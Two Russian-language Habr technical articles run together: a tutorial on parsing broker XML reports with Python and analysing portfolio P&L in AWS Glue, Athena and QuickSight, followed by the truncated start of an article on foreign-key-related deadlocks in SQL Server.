возвращается к этому журналу, а потом и вовсе забывает о нем (мой случай); ну, и наконец, * мы умеем программировать, почему бы этим не воспользоваться и не автоматизировать весь процесс? Итак, погнали! Зачастую, брокерские компании — это высокотехнологичные организации, которые предоставляют своим клиентам довольно качественную аналитику практически по всем интересующим вопросам. Справедливо заметить, что эта отчетность с каждым обновлением становится все лучше и лучше, но даже у самых продвинутых из них может не быть той кастомизации и консолидации, которую хотят видеть требовательные и пытливые клиенты. К примеру, Открытие Брокер позволяет получать в личном кабинете брокерские отчеты в формате XML, но если у вас есть ИИС и обычный брокерский счет на Московской фондовой бирже (MOEX) – это будут два разных отчета, а если у вас есть еще счет на Санкт-Петербургской фондовой бирже (SPB), то к первым двум добавится еще один. Итого, для получения консолидированного журнала инвестора, необходимо будет обработать три файла в формате XML. Вышеупомянутые отчеты на MOEX и SPB немного отличаются своими форматами, что необходимо будет учесть в процессе имплементации маппинга данных. Архитектура разрабатываемой системы ----------------------------------- На диаграмме ниже представлена модель архитектуры разрабатываемой системы: ![](https://habrastorage.org/r/w780q1/webt/vv/uq/ed/vvuqedfvl-l8tnghx3v6vtujabc.jpeg) Реализация парсера ------------------ Получим в Личном кабинете отчеты по всем трем счетам за максимально возможный период (можно разбить на несколько отчетов за каждый год), сохраняем их в формате XML и складываем в одну папку. В качестве тестовых данных для исследования будем использовать вымышленный клиентский портфель, но с максимально приближенными параметрами к рыночным реалиям. ![](https://habrastorage.org/r/w1560/webt/og/ig/xw/ogigxw4yganahuuzbdqecsbqmry.png) Предположим, что у рассматриваемого нами инвестора Мистера Х небольшой портфель из пяти бумаг: 1. В отчете по бирже SPB будет две бумаги: Apple и Microsoft; 2. В отчете по бирже MOEX (брокерский) одна бумага: ФСК ЕЭС; 3. В отчете по бирже MOEX (ИИС) две бумаги: ММК и ОФЗ 24019; По нашим пяти бумагам могут быть сделки по покупке/продаже, выплата дивидендов и купона, может изменяться цена и т.д. Мы же хотим увидеть ситуацию на текущий момент, а именно: финансовый результат с учетом всех выплат, сделок и текущей рыночной стоимости. И тут в дело вступает Python, считываем в один массив информацию из всех отчетов: ``` my_files_list = [join('Data/', f) for f in listdir('Data/') if isfile(join('Data/', f))] my_xml_data = [] # Считывание отчетов из каталога for f in my_files_list: tree = ET.parse(f) root = tree.getroot() my_xml_data.append(root) ``` > Для аналитики, из отчетов нам потребуется несколько сущностей, а именно: > > > > * Позиции бумаг в портфеле; > * Заключенные сделки; > * Неторговые операции и прочие движения по счету; > * Средние цены открытых позиций > С целью подготовки выборки, будем использовать четыре словаря для описания вышеупомянутых множеств. ``` dict_stocks = {'stock_name': [], 'account': [], 'currency': [], 'current_cost': [], 'current_cost_rub': [], 'saldo' : []} dict_deals = {'stock_name': [], 'account': [], 'date_oper': [], 'type_oper': [], 'quantity': [], 'price': [], 'currency': [], 'brokerage': [], 'result': []} dict_flows = {'stock_name': [], 'account': [], 'date_oper': [], 'type_oper': [], 'result': [], 'currency': []} dict_avg_price = {'stock_name': [], 'account': [], 'avg_open_price' : []} ``` Несколько слов о том, что из себя представляют эти словари. **Словарь dict\_stocks**Словарь dict\_stocks необходим для хранения общей информации по портфелю: * Наименование бумаги (stock\_name); * Наименование счета (SPB, MOEX BROK, MOEX IIS) (account); * Валюта, используемая для расчетов по данной бумаге (currency); * Текущая стоимость (на момент формирования отчета в Личном кабинете Открытие Брокер) (current\_cost). Здесь хочу заметить, что для сверхтребовательных клиентов, можно в будущем внести дополнительную доработку и использовать динамическое получение котировки ценной бумаги из торгового терминала или с сайта соответствующей биржи; * Текущая стоимость позиции ценной бумаги на момент формирования отчета (current\_cost\_rub) Аналогично вышеупомянутому пункту, здесь можно так же получать курс ЦБ на текущий момент или биржевой курс, кому как нравится. * Текущий остаток ценных бумаг (saldo) **Словарь dict\_deals**Словарь dict\_deals необходим для хранения следующей информации по совершенным сделкам: * Наименование бумаги (stock\_name); * Наименование счета (SPB, MOEX BROK, MOEX IIS) (account); * Дата совершения сделки, т.е. Т0 (date\_oper); * Тип операции (type\_oper); * Объем бумаг, участвующих в сделке (quantity); * Цена, по которой была исполнена сделка (price); * Валюта, в которой была совершена операция (currency); * Брокерская комиссия за сделку (brokerage); * Финансовый результат по сделке (result) **Словарь dict\_flows**Словарь dict\_flows отражает движение средств по клиентскому счету и используется для хранения следующей информации: * Наименование бумаги (stock\_name); * Наименование счета (SPB, MOEX BROK, MOEX IIS) (account); * Дата совершения сделки, т.е. Т0 (date\_oper); * Тип операции (type\_oper). Может принимать несколько значений: div, NKD, tax; * Валюта, в которой была совершена операция (currency); * Финансовый результат операции (result) **Словарь dict\_avg\_price**Словарь dict\_avg\_price необходим для учета информации по средней цене покупки по каждой бумаге: * Наименование бумаги (stock\_name); * Наименование счета (SPB, MOEX BROK, MOEX IIS) (account); * Средняя цена открытой позиции (avg\_open\_price) Обработаем массив XML-документов и заполним эти словари соответствующими данными: ``` # Сбор данных из соответствующих частей отчетов for XMLdata in my_xml_data: # Информация о Бирже и счете exchange_name = 'SPB' if XMLdata.get('board_list') == 'ФБ СПБ' else 'MOEX' client_code = XMLdata.get('client_code') account_name = get_account_name(exchange_name, client_code) # Маппинг тегов current_position, deals, flows, stock_name, \ saldo, ticketdate, price, brokerage, \ operationdate, currency, \ current_cost, current_cost_rub, \ stock_name_deal, payment_currency, currency_flows = get_allias(exchange_name) # Информация о состоянии клиентского портфеля get_briefcase(XMLdata) df_stocks = pd.DataFrame(dict_stocks) df_stocks.set_index("stock_name", drop = False, inplace = True) # Информация о сделках get_deals(XMLdata) df_deals = pd.DataFrame(dict_deals) df_avg = pd.DataFrame(dict_avg_price) # Информация о неторговых операциях по счету get_nontrade_operation(XMLdata) df_flows = pd.DataFrame(dict_flows) ``` Вся обработка идет в цикле по всем XML-данным из отчетов. Информация о торговой площадке, клиентском коде – одинаковая во всех отчетах, поэтому можно смело извлекать ее из одинаковых тегов без применения маппинга. Но дальше приходится применять специальную конструкцию, которая обеспечит получение необходимого псевдонима для тега исходя из отчета (SPB или MOEX), т.к. одинаковые по своей сути данные в этих отчетах называются по-разному. **Расхождения по тегам*** Комиссия брокера по сделке в отчете SBP лежит в теге **brokerage**, а в отчете MOEX — **broker\_commission**; * Дата неторговой операции по счету в отчете SPB – это **operationdate**, а в MOEX — **operation\_date** и т.д. **Пример маппинга тегов** ``` tags_mapping = { 'SPB': { 'current_position': 'briefcase_position', 'deals': 'closed_deal', 'flows': 'nontrade_money_operation', ... 'stock_name_deal': 'issuername', 'paymentcurrency': 'paymentcurrency', 'currency_flows': 'currencycode' }, 'MOEX': { 'current_position': 'spot_assets', 'deals': 'spot_main_deals_conclusion', 'flows': 'spot_non_trade_money_operations', ... 'stock_name_deal': 'security_name', 'paymentcurrency': 'price_currency_code', 'currency_flows': 'currency_code' } } ``` Функция get\_allias возвращает наименование необходимого тега для обработки, принимая на вход наименование торговой площадки: **Функция get\_allias** ``` def get_allias(exchange_name): return( tags_mapping[exchange_name]['current_position'], tags_mapping[exchange_name]['deals'], tags_mapping[exchange_name]['flows'], ... tags_mapping[exchange_name]['stock_name_deal'], tags_mapping[exchange_name]['paymentcurrency'], tags_mapping[exchange_name]['currency_flows'] ) ``` За обработку информации о состоянии клиентского портфеля отвечает функция get\_briefcase: **Функция get\_briefcase** ``` def get_briefcase(XMLdata): # В отчете ФБ СПБ портфель находится под тегом briefcase_position briefcase_position = XMLdata.find(current_position) if not briefcase_position: return try: for child in briefcase_position: stock_name_reduce = child.get(stock_name).upper() stock_name_reduce = re.sub('[,\.]|(\s?INC)|(\s+$)|([-\s]?АО)', '', stock_name_reduce) dict_stocks['stock_name'].append(stock_name_reduce) dict_stocks['account'].append(account_name) dict_stocks['currency'].append(child.get(currency)) dict_stocks['current_cost'].append(float(child.get(current_cost))) dict_stocks['current_cost_rub'].append(float(child.get(current_cost_rub))) dict_stocks['saldo'].append(float(child.get(saldo))) except Exception as e: print('get_briefcase --> Oops! It seems we have a BUG!', e) ``` Далее, с помощью функции get\_deals извлекается информация о сделках: **Функция get\_deals** ``` def get_deals(XMLdata): stock_name_proc = '' closed_deal = XMLdata.find(deals) if not closed_deal: return # Отчет по SPB имеет иную сортировку - только по дате сделки, # тогда как отчеты MOEX: по бумаге, а потом по дате сделки # Отсортируем сделки по бумаге: if exchange_name == 'SPB': sortchildrenby(closed_deal, stock_name_deal) for child in closed_deal: sortchildrenby(child, stock_name_deal) try: for child in closed_deal: stock_name_reduce = child.get(stock_name_deal).upper() stock_name_reduce = re.sub('[,\.]|(\s?INC)|(\s+$)|([-\s]?АО)', '', stock_name_reduce) dict_deals['stock_name'].append(stock_name_reduce) dict_deals['account'].append(account_name) dict_deals['date_oper'].append(to_dt(child.get(ticketdate)).strftime('%Y-%m-%d')) current_cost = get_current_cost(stock_name_reduce) # В отчете по SPB один тег на количество - quantity, # а на MOEX целых два: buy_qnty и sell_qnty if exchange_name == 'MOEX': if child.get('buy_qnty'): quantity = float(child.get('buy_qnty')) else: quantity = - float(child.get('sell_qnty')) else: quantity = float(child.get('quantity')) dict_deals['quantity'].append(quantity) dict_deals['price'].append(float(child.get('price'))) dict_deals['type_oper'].append('deal') dict_deals['currency'].append(child.get(payment_currency)) brok_comm = child.get(brokerage) if brok_comm is None: brok_comm = 0 else: brok_comm = float(brok_comm) dict_deals['brokerage'].append(float(brok_comm)) # Доходность по каждой сделке и средняя цена позиции if stock_name_proc != stock_name_reduce: if stock_name_proc != '': put_avr_price_in_df(account_name, stock_name_proc, \ pnl.m_net_position, pnl.m_avg_open_price) current_cost = get_current_cost(stock_name_proc) pnl.update_by_marketdata(current_cost) if len(dict_deals['result']) > 0: if exchange_name != 'SPB': dict_deals['result'][-1] = pnl.m_unrealized_pnl * 0.87 -dict_deals['brokerage'][-2] else: dict_deals['result'][-1] = pnl.m_unrealized_pnl - dict_deals['brokerage'][-2] stock_name_proc = stock_name_reduce pnl = PnlSnapshot(stock_name_proc, float(child.get('price')), quantity) dict_deals['result'].append(-1 * brok_comm) else: pnl.update_by_tradefeed(float(child.get('price')), quantity) # Продажа бумаг, фиксация результата if quantity < 0: if pnl.m_realized_pnl > 0 and exchange_name != 'SPB': pnl_sum = pnl.m_realized_pnl * 0.87 - brok_comm else: pnl_sum = pnl.m_realized_pnl - brok_comm dict_deals['result'].append(float(pnl_sum)) else: pnl.update_by_marketdata(current_cost) dict_deals['result'].append(-1 * brok_comm) put_avr_price_in_df(account_name, stock_name_proc, \ pnl.m_net_position, pnl.m_avg_open_price) current_cost = get_current_cost(stock_name_proc) pnl.update_by_marketdata(current_cost) if len(dict_deals['result']) > 0: if exchange_name != 'SPB': dict_deals['result'][-1] = pnl.m_unrealized_pnl * 0.87 -dict_deals['brokerage'][-2] else: dict_deals['result'][-1] = pnl.m_unrealized_pnl - dict_deals['brokerage'][-2] except Exception as e: print('get_deals --> Oops! It seems we have a BUG!', e) ``` Кроме обработки массива с информацией о параметрах сделки, здесь также выполняется расчет средней цены открытой позиции и реализованного PNL методом FIFO. За этот расчет отвечает класс PnlSnapshot, для создания которого с небольшими модификациями был принят за основу код представленный здесь: [P&L calculation](https://lichgo.github.io/2015/10/29/40-lines-pnl-calculation.html) И, наконец, самая сложная по реализации — функция получения информации о неторговых операциях — **get\_nontrade\_operation**. Сложность ее заключается в том, что в используемом для неторговых операций блоке отчета, нет четкой информации о виде операции и ценной бумаги, к которой эта операция привязана. **Пример назначений платежа по неторговым операциям**Выплата дивидендов или накопленного купонного дохода может быть указана так: 1. Выплата дохода клиент <777777> дивиденды <APPLE INC-ао> --> выплата дивидендов из отчета SPB; 2. Выплата дохода клиент <777777> дивиденды <MICROSOFT COM-ао> 3. Выплата дохода клиент 777777i (НКД 2 ОФЗ 24019) налог к удержанию 0.00 рублей --> выплата купона из отчета MOEX; 4. Выплата дохода клиент 777777 дивиденды ФСК ЕЭС-ао налог к удержанию XX.XX рублей --> выплата дивидендов из отчета MOEX. и т.д. Соответственно, без регулярных выражений обойтись будет трудно, поэтому задействуем их по полной. Другая сторона вопроса в том, что не всегда в назначении платежа наименование компании совпадает с наименованием в портфеле или в сделках. Поэтому полученное наименование эмитента из назначения платежа нужно дополнительно соотнести со словарем. В качестве словаря будем использовать массив сделок, т.к. там наиболее полный перечень компаний. Функция **get\_company\_from\_str** извлекает наименование эмитента из комментария: **Функция get\_company\_from\_str** ``` def get_company_from_str(comment): company_name = '' # Шаблоны для случаев дивиденды/купон flows_pattern = [ '^.+дивиденды\s<(\w+)?.+-ао>$', '^.+дивиденды\s(.+)-а.+$', '^.+\(НКД\s\d?\s(.+)\).+$', '^.+дивидендам\s(.+)-.+$' ] for pattern in flows_pattern: match = re.search(pattern, comment) if match: return match.group(1).upper() return company_name ``` Функция **get\_company\_from\_briefcase** приводит наименование компании к словарю, если находит соответствие среди компаний, которые принимали участие в сделках: **Функция get\_company\_from\_briefcase** ``` def get_company_from_briefcase(company_name): company_name_full = None value_from_dic = df_deals[df_deals['stock_name'].str.contains(company_name)] company_arr = value_from_dic['stock_name'].unique() if len(company_arr) == 1: company_name_full = company_arr[0] return company_name_full ``` И, наконец, итоговая функция сбора данных по неторговым операциям — **get\_nontrade\_operation**: **Функция get\_nontrade\_operation** ``` def get_nontrade_operation(XMLdata): nontrade_money_operation = XMLdata.find(flows) if not nontrade_money_operation: return try: for child in nontrade_money_operation: comment = child.get('comment') type_oper_match = re.search('дивиденды|НКД|^.+налог.+дивидендам.+$', comment) if type_oper_match: company_name = get_company_from_str(comment) type_oper = get_type_oper(comment) dict_flows['stock_name'].append(company_name) dict_flows['account'].append(account_name) dict_flows['date_oper'].append(to_dt(child.get(operationdate)).strftime('%Y-%m-%d')) dict_flows['type_oper'].append(type_oper) dict_flows['result'].append(float(child.get('amount'))) dict_flows['currency'].append(child.get(currency_flows)) except Exception as e: print('get_nontrade_operation --> Oops! It seems we have a BUG!', e) ``` Результатом сбора данных из отчетов будут три DataFrame, которые представляют собой примерно следующее: 1. DataFrame с информацией по средним ценам открытых позиций: ![](https://habrastorage.org/r/w1560/webt/1o/c-/qs/1oc-qs_akl5cvraaq7sg7pvfwfu.png) 2. DataFrame с информацией о сделках: ![](https://habrastorage.org/r/w1560/webt/gq/lp/xb/gqlpxby2utfl0ahr-fm8l_fqywc.png) 3. DataFrame с информацией о неторговых операциях: ![](https://habrastorage.org/r/w1560/webt/hx/-7/su/hx-7suk1zgheyiyr6ov6o0z5yd0.png) Итак, все, что нам остается сделать – это выполнить внешнее объединение таблицы сделок с таблицей информации о портфеле: ``` df_result = pd.merge(df_deals, df_stocks_avg, how='outer', on=['stock_name', 'account', 'currency']).fillna(0) df_result.sample(10) ``` ![](https://habrastorage.org/r/w1560/webt/jo/wj/nz/jowjnzmldhgscs30ynz5lrdcueu.png) И, наконец, финальная часть обработки массива данных – это слияние полученного на предыдущем шаге массива данных с DataFrame для неторговых сделок. Итог проделанной работы – одна большая плоская таблица со всей необходимой информацией для анализа: ``` df_result_full = df_result.append(df_flows, ignore_index=True).fillna(0) df_result_full.sample(10).head() ``` ![](https://habrastorage.org/r/w1560/webt/cc/jc/rh/ccjcrh4dq5auyrg3jba6csb_s0g.png) Результирующий набор данных (Финальный отчет) из DataFrame легко выгружается в CSV и далее может использоваться для детального анализа в любой BI-системе. ``` if not exists('OUTPUT'): makedirs('OUTPUT') report_name = 'OUTPUT\my_trader_diary.csv' df_result_full.to_csv(report_name, index = False, encoding='utf-8-sig') ``` Загрузка и обработка данных в AWS --------------------------------- Прогресс не стоит на месте и сейчас большую популярность в обработке и хранении данных завоевывают облачные сервисы и бессерверные модели вычисления. Во многом это связано с простотой и дешевизной такого подхода, когда для построения архитектуры систем для сложных вычислений или обработки больших данных не надо покупать дорогостоящее оборудование, а Вы лишь арендуете на нужное вам время мощности в облаке и разворачиваете нужные ресурсы достаточно быстро за относительно небольшую плату. Одним из самых крупных и известных на рынке поставщиков облачных технологий является компания Amazon. Рассмотрим на примере среды Amazon Web Services (AWS) построение аналитической системы для обработки данных по нашему инвестиционному портфелю. В AWS обширный выбор инструментов, но мы будем пользоваться следующими: * [Amazon S3](https://docs.aws.amazon.com/AmazonS3/latest/dev/Welcome.html) – объектное хранилище, которое позволяет хранить практически неограниченные объемы информации; * [AWS Glue](https://docs.aws.amazon.com/glue/latest/dg/what-is-glue.html) – мощнейший облачный ETL-сервис, который может сам определять по заданным исходным данным структуру и генерить ETL-код; * [Amazon Athena](https://docs.aws.amazon.com/athena/latest/ug/what-is.html) – serverless сервис интерактивных запросов SQL, позволяет быстро анализировать данные из S3 без особой подготовки. Еще он имеет доступ к метаданным, которые подготавливает AWS Glue, что позволяет сразу после прохождения ETL обращаться к данным; * [Amazon QuickSight](https://docs.aws.amazon.com/quicksight/latest/user/welcome.html) – serverless BI-сервис, можно строить любую визуализацию, аналитические отчеты «на лету» и т.д.. С документацией у Amazon все в порядке, в частности, существует неплохая статья [Best Practices When Using Athena with AWS Glue](https://docs.aws.amazon.com/athena/latest/ug/glue-best-practices.html), где описано как создавать и пользоваться таблицами и данными, посредством AWS Glue. Давайте и мы воспользуемся основными идеями этой статьи и применим их для создания своей архитектуры аналитической отчетной системы. Подготовленные нашим парсером отчетов CSV-файлы будем складывать в S3 bucket. Планируется, что соответствующая папка на S3 будет пополняться каждую субботу – по завершении торговой недели, поэтому не обойтись без секционирования данных по дате формирования и обработки отчета. Помимо оптимизации работы SQL-запросов к таким данным, этот подход позволит нам проводить дополнительный анализ, например, получать динамику изменения финансового результата по каждой бумаге и т.д. **Работа с Amazon S3*** Создадим бакет на S3, назовем его «report-parser»; * В этом бакете «report-parser» создадим папку под названием «my\_trader\_diary»; * В каталоге «my\_trader\_diary» создадим каталог с датой текущего отчета, например, «date\_report=2018-10-01» и поместим в него CSV-файл; * Только ради эксперимента и лучшего понимания секционирования создадим еще два каталога: «date\_report=2018-09-27» и «date\_report=2018-10-08». В них положим тот же CSV-файл; * Итоговый S3 бакет «report-parser» должен иметь вид как показано на картинки ниже: ![](https://habrastorage.org/r/w1560/webt/n1/4z/c9/n14zc9odchiv6l-_dpc_qbs3s_o.png) **Работа с AWS Glue**По большому счету, можно обойтись лишь Amazon Athena чтобы создать внешнюю таблицу из данных, лежащих на S3, но AWS Glue – более гибкий и удобный для этого инструмент. * Заходим в AWS Glue и создаем новый Crawler, который будет из разрозненных по отчетным датам CSV-файлов собирать одну таблицу: + Задаем имя нового Crawler; + Указываем хранилище, откуда брать данные (s3://report-parser/my\_trader\_diary/) + Выбираем или создаем новую IAM роль, которая будет иметь доступ к запуску Crawler и доступ к указанному ресурсу на S3; + Далее, необходимо задать частоту запуска. Пока ставим по требованию, но в дальнейшем, думаю, это изменится и запуск станет еженедельным; + Сохраняем и ждем, когда Crawler создастся. * Когда Crawler перейдет в состояние Ready, запускаем его! ![](https://habrastorage.org/r/w1560/webt/ed/xx/z9/edxxz9kurfrebky5-fuaqwzt-0e.png) * Как только он отработает, в закладке AWS Glue: Database -> Tables появится новая таблица my\_trader\_diary: ![](https://habrastorage.org/r/w1560/webt/u6/2n/rt/u62nrttephj6m-hxxguky4il6os.png) Рассмотрим сформированную таблицу более подробно. Если щёлкнуть по названию созданной таблицы, то мы перейдем на страницу с описанием метаданных. Внизу расположена схема таблицы и самым последним идет столбец, которого не было в исходном CSV-файле — date\_report. Этот столбец AWS Glue создает автоматически на основе определения секций исходных данных (в бакете S3 мы специальным образом именовали папки — date\_report=YYYY-MM-DD, что позволило использовать их как секции, разделенными по дате). **Секционирование таблицы**![](https://habrastorage.org/r/w1560/webt/5o/30/2v/5o302vb08y_zmylnfyaiign5us0.png) На той же странице в верхнем правом углу есть кнопка View partitions, нажав на которую, мы можем увидеть из каких секций состоит наша сформированная таблица: ![](https://habrastorage.org/r/w1560/webt/82/0l/kk/820lkk4mytj34kzh0tt__ieb6me.png) Анализ данных ------------- Имея в своем распоряжении загруженные обработанные данные, можем с легкостью приступить к их анализу. Для начала, рассмотрим возможности Amazon Athena как самого простого и быстрого способа выполнения аналитических запросов. Для этого переходим в сервис Amazon Athena, выбираем нужную нам базу данных (financial) и пишем такой SQL-код: ``` select d.date_report, d.account, d.stock_name, d.currency, sum(d.quantity) as quantity, round(sum(d.result), 2) as result from my_trader_diary d group by d.date_report, d.account, d.stock_name, d.currency order by d.account, d.stock_name, d.date_report; ``` Этот запрос выведет нам чистый финансовый результат по каждой бумаге за все отчетные даты. Т.к. мы закачали трижды один и тот же отчет за разные даты, то и результат не будет меняться, что, конечно же, в условиях реального рынка будет по-другому: ![](https://habrastorage.org/r/w1560/webt/9o/fg/dl/9ofgdloafbrxbvctdyprolilvna.png) А что, если мы хотим визуализировать полученные данные в виде гибких таблиц или диаграмм? Тут на помощь приходит сервис Amazon QuickSight, с помощью которого можно настроить гибкую аналитику практически так же быстро, как и написать SQL-запрос. Перейдем в сервис Amazon QuickSight (если Вы там еще не зарегистрировались, то необходима регистрация). Нажимаем на кнопку New analyses -> New dataset и в появившемся окне выбора источников для датасета, щелкаем на Athena: ![](https://habrastorage.org/r/w1560/webt/yq/kr/bv/yqkrbv144qas16af4jolsj3rnci.png) Придумаем название нашему источнику данных, например «PNL\_analysis» и нажимаем на кнопку «Create data source». Следом откроется окно Choose your table, где необходимо выбрать базу данных и таблицу-источник данных. Выберем базу данных – financial, и таблицу в ней: my\_traider\_diary. По умолчанию используется таблица целиком, но при выборе «Use custom SQL» можно кастомизировать и тонко настроить нужную Вам выборку данных. Для примера воспользуемся таблицей целиком и нажмем на кнопку Edit/Preview Data. Откроется новая страница, где можно провести дополнительные настройки и обработку имеющихся данных. Теперь необходимо в наш датасет добавить дополнительные вычисляемые поля: квартал и год выполнения операции. Внимательный читатель может заметить, что подобные манипуляции легче было проделать на стороне парсера перед сохранением Финального отчета в CSV. Бесспорно, но моя цель сейчас продемонстрировать возможности и гибкость настроек BI-системы «на лету». Продолжим создание вычисляемых полей, нажимая на кнопку «New field». **Создание нового поля**![](https://habrastorage.org/r/w1560/webt/ax/1z/ag/ax1zagyy7nnryd62t5najdntcio.png) Для выделения года выполняемой операции и квартала используются простые формулы: ![](https://habrastorage.org/r/w1560/webt/pm/yc/bi/pmycbiybxqtus62nkaa_5v2fu4s.png) **Заполнение формул для нового поля**![](https://habrastorage.org/r/w1560/webt/uo/e1/u1/uoe1u1uco3ygn7cljsr6qcnhwbk.png) Когда вычисляемые поля успешно созданы и добавлены в выборку, даем название нашему датасету, например, «my\_pnl\_analyze» и нажимаем на кнопку «Save and visualize». После этого переносимся на основную доску Amazon QuickSight и первое, что мы должны сделать – это настроить фильтр для даты отчета (с учетом того, что одни и те же данные были собраны из трех секций). Выбираем отчетную дату 2018-10-01 и нажимаем на кнопку Apply и переходим на закладку Visualize. **Установка фильтра**![](https://habrastorage.org/r/w1560/webt/an/jo/et/anjoet5xt_divhygnebb5v9ys8k.png) Теперь мы можем визуализировать результат по портфелю в любой плоскости, например, по каждой ценной бумаге внутри торгового счета, и разделенную в свою очередь по валютам (т.к. результат в разных валютах не сопоставим) и типам операций. Начнем с мощнейшего инструмента любого BI – сводных таблиц. Для экономии места и гибкости отображения, я вынес валюты в отдельный контрол (аналог среза в MS Excel) ![](https://habrastorage.org/r/w1560/webt/90/3e/it/903eitay8v9j1psyz05d8qaqh_k.png) > В приведенной выше таблице видно, что если инвестор решит продать сейчас все акции ФСК ЕЭС, то он тем самым зафиксирует убыток, т.к. выплаченные дивиденды в размере 1 509.91 р. не покрывают его издержки (1 763.36 р. – отрицательная курсовая разница и 174 р. – НДФЛ на дивиденды). Есть смысл повременить и дождаться лучших времен на Бирже. Следующий график – столбчатая диаграмма: ![](https://habrastorage.org/r/w1560/webt/up/a7/qj/upa7qjdqjiqyo-j6tx0bnrth67m.png) А теперь сформируем таблицу, которая покажет нам, сколько мы вложили в каждую бумагу, сколько дней она находится у нас в портфеле и какова доходность за весь период владения. Для этого добавим два новых вычисляемых поля: sum\_investment и count\_days. **Поле sum\_investment**Вычисляемое поле sum\_investment (сумма инвестиций) будем определять так: ifelse({stock\_name} = 'ОФЗ 24019',{avg\_open\_price} \* quantity \* 10,{avg\_open\_price} \* quantity) Такой подход к обработке расчета суммы вложений по облигациям обусловлен тем, что по ним всегда указывается цена – как процент от номинала (номинал в данном случае – 1000р). **Поле count\_days**Вычисляемое поле count\_day (количество дней владения бумагой) мы определим как разницу между датой операции и отчетной датой и в сводной таблице возьмем максимум: dateDiff(parseDate({date\_oper}),parseDate({date\_report})) Итоговая таблица представлена на скриншоте ниже: ![](https://habrastorage.org/r/w1560/webt/ut/ws/dk/utwsdkbzhksrjh3wunw_w6stqr0.png) Выводы и итоги -------------- Мы рассмотрели с Вами реализацию парсера отчетов и способы анализа подготовленных им данных «на лету» при помощи сервисов Amazon. Также затронули некоторые бизнесовые и фундаментальные аспекты анализа инвестиционного портфеля, т.к. эта тема практически необъятная и уместить ее в одной статье довольно сложно, думаю, что есть смысл поместить ее в отдельную публикацию или даже, цикл публикаций. Что касается использования инструмента обработки отчетов брокера и задействованных в нем подходов и алгоритмов, то они могут применяться (с соответствующей модификацией) для обработки отчетности других Брокеров. В любом случае, если Вы соберетесь адаптировать код под свои нужды, я готов дать несколько советов, так что не стесняйтесь задавать вопросы – обязательно постараюсь на них ответить. Уверен, что данная система найдет свое применение и будет иметь дальнейшее развитие. Например, планируется добавить в расчет полного PNL по портфелю учет депозитарной и иной комиссии (например, за вывод денежных средств), а так же погашение облигаций и т.д… Вычисляемые поля на стороне Quicksight были использованы с демонстрационной целью, в следующей версии парсера, все эти дополнительные столбцы будут перенесены в Python и будут рассчитываться на стороне парсера. Как архитектор и главный бизнес-заказчик данного решения, я вижу дальнейшую модернизацию следующим образом: ну не хочу я каждый раз вручную запрашивать эти XML-отчеты! Конечно, пока иной возможности нет, но API Брокера с передачей токена и диапазона выборки идеально подошло бы для еженедельного получения сырой отчетности. Последующая полная автоматическая обработка на стороне Amazon: от срабатывания ETL-job на AWS Glue до получения готовых результатов в виде графиков и таблиц в Amazon QuickSight позволят полностью автоматизировать процесс. Полный исходный код можно найти в моем репозитории на [GitHub](https://github.com/igorgorbenko/report_parser)
https://habr.com/ru/post/426027/
null
ru
null
# Взаимные блокировки и внешние ключи в SQL Server ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b37/fec/252/b37fec2527f3bc96443fca7851fa41f1.png)### Введение В реляционных базах данных внешние ключи (foreign key) используются для обеспечения целостности связей между таблицами. Простыми словами, внешний ключ — это столбец (или несколько столбцов), ссылающийся на первичный ключ другой таблицы. Таблица с внешним ключом называется дочерней, а с первичным — родительской. При вставке строки в дочернюю таблицу проверяется наличие значения внешнего ключа в родительской таблице. Эти дополнительные операции иногда могут вызывать проблемы с блокировками и приводить к взаимоблокировкам. В этой статье мы изучим, почему это происходит, и как решать подобные проблемы. Будем использовать две таблицы: **Department** (Отдел) и **Employee** (Сотрудник). Столбец **DepId** в таблице **Employee** определен как внешний ключ, поэтому значения этого столбца будут проверяться на наличие соответствующих значений в столбце **DepartmentId** таблицы **Department**. ``` CREATE TABLE [Department]( [DepartmentId] [int] NOT NULL PRIMARY KEY, [DepartmentName] [varchar](10) NULL, ) GO CREATE TABLE [dbo].[Employee]( [EmployeeId] [int] NOT NULL PRIMARY KEY, [FirstName] [varchar](50) NULL, [LastName] [varchar](50) NULL, [DepID] [int] NOT NULL, [IsActive] [bit] NULL ) ON [PRIMARY] ALTER TABLE [dbo].[Employee] WITH CHECK ADD FOREIGN KEY([DepID]) REFERENCES [dbo].[Department]([DepartmentId]) GO CREATE NONCLUSTERED INDEX [IX_DepId] ON Employee ( [DepID] ASC ) ``` ### Что происходит за кулисами INSERT Исследуем, какие операции выполняются при вставке данных в дочернюю таблицу (**Employee**). Сначала вставим строку в родительскую таблицу (**Department**). ``` INSERT INTO Department (DepartmentId ,DepartmentName) VALUES (1,'Sales') ``` Перед выполнением следующего запроса включим отображение фактического плана выполнения и вставим строку в таблицу **Employee** (дочернюю). ``` INSERT INTO Employee (EmployeeId,FirstName,LastName,DepID,IsActive) VALUES(1,'Brandon','Lord',1,0) ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/36d/3f0/c88/36d3f0c8879b77b50ebde3a89a7711f3.png)**Clustered Index Insert** вставляет данные в кластерный индекс, а также обновляет некластерные индексы. Если внимательно посмотреть на этот оператор, то можно заметить, что для него не указано имя объекта. Причина этого как раз в том, что при вставке данных в кластерный индекс таблицы **Employee**, эти данные одновременно добавляются в некластерный индекс. Эти два индекса можно увидеть во всплывающей подсказке оператора **Clustered Index Insert**. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/edd/89d/d90/edd89dd90df6fafc444fe0cb4a679a39.png)**Clustered Index Seek** проверяет существование значения внешнего ключа в родительской таблице. **Nested Loops** сравнивает вставленные значения внешних ключей со значениями, возвращаемые оператором **Clustered Index Seek**. В результате этого сравнения на выходе получается результат, который указывает, существует значение в родительской таблице или нет. **Assert** оценивает результат оператора **Nested Loops**. Если **Nested Loops** возвращает NULL, то результат **Assert** будет ноль, и запрос вернет ошибку. В противном случае операция INSERT выполнится успешно. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d3a/118/672/d3a11867291371d369f904e6e554ee44.png)### Взаимные блокировки При вставке данных в столбец с внешним ключом выполняются дополнительные операции по проверке существования данных в родительской таблице. В некоторых случаях, например, при массовой вставке, эта проверка может привести к взаимоблокировкам, когда несколько транзакций пытаются обратиться к одним и тем же данным. Попробуем смоделировать эту ситуацию. Сначала вставим данные в таблицу **Department**. ``` DECLARE @Counter AS INT=1 WHILE @Counter <=10000 BEGIN SET @Counter = @Counter+1 INSERT INTO Department VALUES(@Counter,CONCAT('Column' , @Counter)) END ``` После этого создадим глобальную временную таблицу, которая поможет со вставкой строк в 